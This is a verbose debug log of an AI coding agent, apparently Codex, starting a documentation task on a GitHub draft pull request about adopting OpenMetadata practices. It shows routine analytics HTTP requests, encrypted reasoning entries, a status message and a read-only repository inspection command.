\n[2026-07-12T04:02:36.439Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_6\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh pr view 6 --repo link-foundation/meta-ontology --json number,title,body,state,isDraft,author,baseRefName,headRefName,mergeable,mergeStateStatus,statusCheckRollup,commits,files,url'\",\"aggregated_output\":\"{\\\"author\\\":{\\\"id\\\":\\\"MDQ6VXNlcjE0MzE5MDQ=\\\",\\\"is_bot\\\":false,\\\"login\\\":\\\"konard\\\",\\\"name\\\":\\\"Konstantin Diachenko\\\"},\\\"baseRefName\\\":\\\"main\\\",\\\"body\\\":\\\"## \ud83e\udd16 AI-Powered Solution Draft\\\\n\\\\nThis pull request is being automatically generated to solve issue #5.\\\\n\\\\n### \ud83d\udccb Issue Reference\\\\nFixes #5\\\\n\\\\n### \ud83d\udea7 Status\\\\n**Work in Progress** - The AI assistant is currently analyzing and implementing the solution draft.\\\\n\\\\n### \ud83d\udcdd Implementation Details\\\\n_Details will be added as the solution draft is developed..._\\\\n\\\\n---\\\\n*This PR was created automatically by the AI issue solver*\\\",\\\"commits\\\":[{\\\"authoredDate\\\":\\\"2026-07-12T04:01:46Z\\\",\\\"authors\\\":[{\\\"email\\\":\\\"drakonard@gmail.com\\\",\\\"id\\\":\\\"MDQ6VXNlcjE0MzE5MDQ=\\\",\\\"login\\\":\\\"konard\\\",\\\"name\\\":\\\"konard\\\"}],\\\"committedDate\\\":\\\"2026-07-12T04:01:46Z\\\",\\\"messageBody\\\":\\\"Adding .gitkeep for PR creation (default mode).\\\\nThis file will be removed when the task is complete.\\\\n\\\\nIssue: https://github.com/link-foundation/meta-ontology/issues/5\\\",\\\"messageHeadline\\\":\\\"Initial commit with task details\\\",\\\"oid\\\":\\\"e4a**********************************43d\\\"}],\\\"files\\\":[{\\\"path\\\":\\\".gitkeep\\\",\\\"additions\\\":1,\\\"deletions\\\":0,\\\"changeType\\\":\\\"ADDED\\\"}],\\\"headRefName\\\":\\\"issue-5-e2602184e2c5\\\",\\\"isDraft\\\":true,\\\"mergeStateStatus\\\":\\\"UNSTABLE\\\",\\\"mergeable\\\":\\\"MERGEABLE\\\",\\\"number\\\":6,\\\"state\\\":\\\"OPEN\\\",\\\"statusCheckRollup\\\":[{\\\"__typename\\\":\\\"CheckRun\\\",\\\"completedAt\\\":\\\"0001-01-01T00:00:00Z\\\",\\\"conclusion\\\":\\\"\\\",\\\"detailsUrl\\\":\\\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369/job/86613481865\\\",\\\"name\\\":\\\"Detect Changes\\\",\\\"startedAt\\\":\\\"2026-07-12T04:02:02Z\\\",\\\"status\\\":\\\"IN_PROGRESS\\\",\\\"workflowName\\\":\\\"CI/CD Pipeline\\\"},{\\\"__typename\\\":\\\"CheckRun\\\",\\\"completedAt\\\":\\\"0001-01-01T00:00:00Z\\\",\\\"conclusion\\\":\\\"\\\",\\\"detailsUrl\\\":\\\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369/job/86613481872\\\",\\\"name\\\":\\\"Version Modification Check\\\",\\\"startedAt\\\":\\\"2026-07-12T04:02:01Z\\\",\\\"status\\\":\\\"IN_PROGRESS\\\",\\\"workflowName\\\":\\\"CI/CD Pipeline\\\"},{\\\"__typename\\\":\\\"CheckRun\\\",\\\"completedAt\\\":\\\"2026-07-12T04:01:59Z\\\",\\\"conclusion\\\":\\\"SKIPPED\\\",\\\"detailsUrl\\\":\\\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369/job/86613482019\\\",\\\"name\\\":\\\"Create Changelog PR\\\",\\\"startedAt\\\":\\\"2026-07-12T04:02:00Z\\\",\\\"status\\\":\\\"COMPLETED\\\",\\\"workflowName\\\":\\\"CI/CD Pipeline\\\"}],\\\"title\\\":\\\"[WIP] We should use best practices from https://github.com/open-metadata/OpenMetadata\\\",\\\"url\\\":\\\"https://github.com/link-foundation/meta-ontology/pull/6\\\"}\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:36.439Z] [INFO] \n[2026-07-12T04:02:36.448Z] [INFO] 2026-07-12T04:02:36.438710Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:36.448Z] [INFO] \n[2026-07-12T04:02:36.457Z] [INFO] 2026-07-12T04:02:36.456329Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:36.457Z] [INFO] \n[2026-07-12T04:02:36.461Z] [INFO] 2026-07-12T04:02:36.459619Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:36.461Z] [INFO] \n[2026-07-12T04:02:36.468Z] [INFO] 2026-07-12T04:02:36.464158Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:36.468Z] [INFO] \n[2026-07-12T04:02:36.560Z] [INFO] 2026-07-12T04:02:36.560097Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:36.560Z] [INFO] \n[2026-07-12T04:02:36.564Z] [INFO] 2026-07-12T04:02:36.560813Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:36 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"3aaa86c4-fd04-496e-b71a-011c963dc29a\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=2HbEMYRN11zdPFM%2Fno532rnGe%2FfA8sgOMcP595XbJbSjUMURz6AbFr3qs%2FHg6xFIgAfABkoBWZ4G129FygQikfWFefj10INDA1Lgc6trxk2T67MwZ2t9q5mvuk%2B4\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2741f8161942-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:36.564Z] [INFO] \n[2026-07-12T04:02:36.621Z] [INFO] 2026-07-12T04:02:36.617740Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:36.621Z] [INFO] \n[2026-07-12T04:02:36.655Z] [INFO] 2026-07-12T04:02:36.655053Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:36.655Z] [INFO] \n[2026-07-12T04:02:36.659Z] [INFO] 2026-07-12T04:02:36.658906Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:36.659Z] [INFO] \n[2026-07-12T04:02:36.663Z] [INFO] 2026-07-12T04:02:36.662373Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:36.663Z] [INFO] \n[2026-07-12T04:02:36.776Z] [INFO] 2026-07-12T04:02:36.775541Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:36.776Z] [INFO] 2026-07-12T04:02:36.775764Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:36 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"a517ef9c-e2b1-41cc-b00e-b310dc9b4f83\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=%2FoLuC21HCl9HNtdFix%2FmCvSkRjaMpdExU3pR8JcxZ3kBgpMS3iYElp8I%2Ba0TW316aBpGiWRk%2FWe8%2B7bWxzNl%2FTllfQJOsGKUiQq6qRdx9GFHMPPokvBaK%2FJKHWgw\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2743393d9a07-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:36.776Z] [INFO] \n[2026-07-12T04:02:36.841Z] [INFO] 2026-07-12T04:02:36.839597Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:36.841Z] [INFO] \n[2026-07-12T04:02:36.890Z] [INFO] 2026-07-12T04:02:36.887450Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:36.890Z] [INFO] \n[2026-07-12T04:02:36.891Z] [INFO] 2026-07-12T04:02:36.890507Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:36.891Z] [INFO] \n[2026-07-12T04:02:36.895Z] [INFO] 2026-07-12T04:02:36.894618Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:36.895Z] [INFO] \n[2026-07-12T04:02:37.012Z] [INFO] 2026-07-12T04:02:37.008013Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:37.012Z] [INFO] \n[2026-07-12T04:02:37.014Z] [INFO] 2026-07-12T04:02:37.008109Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:37 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"a90452ad-57df-4f46-83ce-d77de865c8fc\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=wfWEFcJb89XbiSEo2aWIOPtXn%2B95AdlrpG1iZabY5hbQqww9nM29BEALQ0Gav9dqkuTpDN2dJlT7WNEHTUOVT9bOcvZXUOYUtWXJmQLBUHDguTT9vPQk1OjcmA%2BH\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2744bcb4dc76-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:37.014Z] [INFO] \n[2026-07-12T04:02:37.086Z] [INFO] 2026-07-12T04:02:37.084139Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:37.086Z] [INFO] \n[2026-07-12T04:02:37.107Z] [INFO] 2026-07-12T04:02:37.103814Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:37.107Z] [INFO] \n[2026-07-12T04:02:37.110Z] [INFO] 2026-07-12T04:02:37.109827Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:37.110Z] [INFO] \n[2026-07-12T04:02:37.118Z] [INFO] 2026-07-12T04:02:37.116918Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:37.118Z] [INFO] \n[2026-07-12T04:02:37.202Z] [INFO] 2026-07-12T04:02:37.199524Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311dd2630819181121da4cf2c0dc5\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxHdmzNK0rp3z4c7fTjDdT6iPxenhoiu4U71suqWvkryLF0Ko25rkTuVm4Y5u0gY0WTn67LnmfFEh6JNpU5vxoDV8cGH_BNXbakFztk34dJTvH8ORDb2HqgerDXBNZpiq4e-daOJF4XDc_z6HcV_y8HS_JY6Su7XsLABflZc6GIKCqIIWxTizM1r461XTkcCH1nlZUadi2JLDa8JGA6ixZSvpf5FNRRX71FIuKL1TSPirblbmpbhi8WH-gqjaS-nudpVWxlSRD1_1zSRz680KXIfTo9RV25Ie83C31OhEWmXqKGaly6xAoKd4mJrmtn_cDGQF8rPccHaOfVju2-sPu5Tq5a6AkWSEeD0KWErkYUliu3UY8qNSuI0vvWA7paYhSIXqL3rtYJtaeD_PDP6CDLvhCMBIm42A-ZS7hH2f8VTbcbESF1ju71FTsbleN2xL5Q-V5PKElGGgziR82fnNs1i-tEcDe0D9VDZt44l3PiRW_m2kJv89taRNmCwKccMRMBWv_zAWa1E2a7p5gKgyqqJaWp9FJOAG_5dvgIXupG0K2Y_f-KV_ceAk4XHHGeBhCQ4AkT47l4cuXLfcDd-jioeO0iGBM5S7-CFBeRF9ow6ovQI6Rp1EyPW3kcwXZYSlwbRRWW8cE2bk9mIcR1fnZzyiIUWNaqxbtu2P1escuw9FtOVeIWpuhb-q90EdGYV4gx_W4wKT2f56cKEPaKEITiRbV1oqiSLQgHCR2yDlr0qm_AeEDsFha_0XlU84VzGpFIYmzA7vWo_I8GCvXNDx6zru4IR09FnzVjDYNQSGkoMbQbEBQBUiRm5BeIB2BJgAI_o4Ata04Vq37eAV63eF5veWlBg5OdUY_66E60Cfw6kOMex6yHPulMjgEgEGOMyAv9V33ZfPShzspjx3-RPIGk5KQ==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:37.202Z] [INFO] \n[2026-07-12T04:02:37.291Z] [INFO] 2026-07-12T04:02:37.290228Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:37.291Z] [INFO] 2026-07-12T04:02:37.290321Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:37 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"6099f186-8e10-4c9a-9ce5-8cc59a8a9116\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=cS4M1FZSLzQnD50tkxerWCG3OhIgzexwjAaUU3eFHDPbposyxBXSCPNX67RlmDRySH67QMADaMa4nUIkQHR5OVi2UHV%2FlAodY%2FGwZ5MnV5n0LDT%2BUbORpGZHOvHP\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d27463a4cd36c-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:37.291Z] [INFO] \n[2026-07-12T04:02:37.417Z] [INFO] 2026-07-12T04:02:37.416476Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:37.417Z] [INFO] \n[2026-07-12T04:02:37.444Z] [INFO] 2026-07-12T04:02:37.444277Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:37.444Z] [INFO] \n[2026-07-12T04:02:37.450Z] [INFO] 2026-07-12T04:02:37.445482Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:37.450Z] [INFO] \n[2026-07-12T04:02:37.453Z] [INFO] 2026-07-12T04:02:37.450406Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:37.453Z] [INFO] \n[2026-07-12T04:02:37.535Z] [INFO] 2026-07-12T04:02:37.533365Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:37.535Z] [INFO] \n[2026-07-12T04:02:37.543Z] [INFO] 2026-07-12T04:02:37.535151Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:37 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"x-oai-request-id\": \"186a486f-858a-4657-b728-1a8c93b2f2d1\", \"x-openai-proxy-wasm\": \"v0.1\", \"cf-cache-status\": \"DYNAMIC\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=oTPA4iA%2Fb%2BHjGVdbG6DuIn6XqaGBinOm1ck0uydnY%2BQxRFiGGOk6Pn7WJ%2BRBf4IwYAbDxn5tw5x%2BtUXmPu6Kn8R1l6xX5lTMQEH3lf5QGmMuWfjq%2Be0d8QCXdSGM\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-ray\": \"a19d27482b15d2e7-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:37.543Z] [INFO] \n[2026-07-12T04:02:38.484Z] [INFO] 2026-07-12T04:02:38.483336Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311dd2630819181121da4cf2c0dc5\"), summary: [SummaryText { text: \"**Inspecting documentation and case studies**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxHe2RtyKwmOY9E1Nz1gzqz1zDbSepO5NCp1dPLSkLQx_IEQTlYxiAV3HSBZKUBhglz0adM_drCJm8M2hHWFWIM3_QsAUMf5Ch_bgJYJBX5niyn8dI0RJVZXqGaX0l_WDAYJ-zq31hY7lN_o_Ep_2Gj4sA0aHaAKAL8qfbqkKj0wps9vSvpr2_xsENfujnPvkZBhOzNCo0TMwtdxo_5HyejaZnoyhD6uFW19eEqmJOgRhNzKyBOeakHJkZnHH1cEvCaq98Swh0HqaJQT3hkFi_ws4GZQAuJGp5fL1GL4clWF8E7QvR-dd8i_dlMgwXZNmtcZUXdSM2DJfKXIwly3BETDKuycvfhOF6Ek4t04IAeDOdgVRcmsKoD_0SxvcOhVn7kyiM6IAZ8RmBlR9G1TUabiejG7UbRV5eBaFfbBtuaLoEnJgFmjPriiIr-57DKO8LVc4PdJ6jagnym-2VfJpnQ-mAdXA125miPjk6L-i8AU1RSkjFmoSX1UoFXXu6PElQnnLB-PIpFpUYQccwjY85TvEp4O4kd-3ntMkBcenGqFEpdqJASK2FF1V3TNrWUMecEEycPDOB8OnMLc3zaFxX4Mm-fAWIfw21A1lJTSV-zhJ90U3QOG46cmt1E0HnYdW_9tnQXEKZlWCDBcPdC6n_ko3pxK0TXbPJMs8sZy1gIl6LqucOspH38PX2_AaHnhSylq9iuyq1BkGVlpUjWSuPxesa5ps0hq-c5VS2RBy2Rtm-UoZcf64SoOBznXv1Hoa2KBvFT9mmiAb2z4S0Ufn-wsb2ghpPoFAi8PmhQnDB9mLc2y3hRxhB7p5UPROzP1k9IhzkApmDMJV4X_j_gROba5odfxRZsjaLiPGXxdu-FU9sQlHwuuypMcIUM46_v18_pv1wecKd9YOwCdZuKsfAfT0e2zRbDrzLcvJ58tviU_NeAP2dgkufMqFYC2aPEysd7SVZ_P0gW9_HTSQIp5d3ULG4D9m2aumOAQecoZaOg_4ePCkI3cHczgjgUaYAsZF_Jwt1VhQdK6sYMZSpsMOLYPR_8gpAAm_4r-o2vcWRxzm3uDuxkM5Z8G6NbjpN-A_cCHqa5vQiVhwRZpn8pY9Hkj1PfjDPg327bu3ccdIV0W8wfKjwr9Gq57e4pMS2Ro1LV7KFGLZC6PlqImsVfZ3jKJbk1JXuNcmF8k9IHscGfkZzM2ZQmv4PHdnLh_WFqs4uyWdcEiy45lxfwlK7Yi2Htt-Q==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:38.484Z] [INFO] \n[2026-07-12T04:02:38.490Z] [INFO] 2026-07-12T04:02:38.485626Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a5311de77bc8191a4b0b74c978ab3a2\"), role: \"assistant\", content: [], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:38.490Z] [INFO] \n[2026-07-12T04:02:38.492Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_11\",\"type\":\"reasoning\",\"text\":\"**Inspecting documentation and case studies**\"}}\n[2026-07-12T04:02:38.492Z] [INFO] \n[2026-07-12T04:02:39.242Z] [INFO] 2026-07-12T04:02:39.239151Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a5311de77bc8191a4b0b74c978ab3a2\"), role: \"assistant\", content: [OutputText { text: \"The issue is documentation/research rather than a runtime bug, and there is no reviewer feedback yet. I\u2019m now mapping the repository\u2019s existing case-study structure and researching OpenMetadata\u2019s current architecture and practices from primary sources so every recommendation is traceable.\" }], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:39.242Z] [INFO] \n[2026-07-12T04:02:39.246Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_12\",\"type\":\"agent_message\",\"text\":\"The issue is documentation/research rather than a runtime bug, and there is no reviewer feedback yet. I\u2019m now mapping the repository\u2019s existing case-study structure and researching OpenMetadata\u2019s current architecture and practices from primary sources so every recommendation is traceable.\"}}\n[2026-07-12T04:02:39.246Z] [INFO] \n[2026-07-12T04:02:39.249Z] [INFO] 2026-07-12T04:02:39.243447Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5311df3918819193ebae89a9597936\"), status: Some(\"in_progress\"), call_id: \"call_zNW9IATkrMDbSTlyvHls9Oy1\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:39.249Z] [INFO] \n[2026-07-12T04:02:42.525Z] [INFO] 2026-07-12T04:02:42.514643Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5311dc7de48191bdb6b3dd5d9f4874\"\n[2026-07-12T04:02:42.525Z] [INFO] 2026-07-12T04:02:42.517349Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=19616 output_token_count=290 cached_token_count=15104 reasoning_token_count=47 tool_token_count=19906 ttft_ms=772 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:02:42.517Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:42.525Z] [INFO] 2026-07-12T04:02:42.517406Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=19616 output_token_count=290 cached_token_count=15104 reasoning_token_count=47 tool_token_count=19906 ttft_ms=772 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:02:42.517Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:42.525Z] [INFO] 2026-07-12T04:02:42.517595Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r = await tools.exec_command({cmd:\"find docs/case-studies -maxdepth 2 -type f -print | sort && find . -maxdepth 2 -type f | sort | sed -n '1,240p' && wc -l docs/case-studies/issue-*/* 2>/dev/null | sort -n | tail -30 && sed -n '1,260p' docs/case-studies/issue-3/README.md && sed -n '1,220p' changelog.d/README.md && sed -n '1,240p' .github/workflows/ci.yml 2>/dev/null\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":40000});\n[2026-07-12T04:02:42.525Z] [INFO] text(r.output);\n[2026-07-12T04:02:42.525Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:02:42.525Z] [INFO] \n[2026-07-12T04:02:42.771Z] [INFO] 2026-07-12T04:02:42.766415Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-6f055f3e-4a89-46db-a410-9c5034e13235 decision=approved source=Config event.timestamp=2026-07-12T04:02:42.766Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown 